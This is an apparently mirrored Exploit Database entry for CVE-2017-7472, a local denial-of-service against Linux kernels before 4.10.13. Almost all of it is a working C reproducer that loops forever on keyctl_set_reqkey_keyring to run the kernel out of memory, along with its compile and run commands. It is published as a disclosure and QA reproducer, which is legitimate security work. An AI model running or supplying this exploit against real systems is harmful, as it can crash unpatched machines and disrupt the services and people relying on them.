Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service

• Exploit Database
• 117 阅读

• 作者： Marcus Meissner
  日期： 2017-06-07
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42136/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  /* Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862 QA REPRODUCER:   gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils ./CVE-2017-7472   (will run the kernel out of memory) */ #include <sys/types.h> #include <keyutils.h>   int main() { for (;;) keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING); }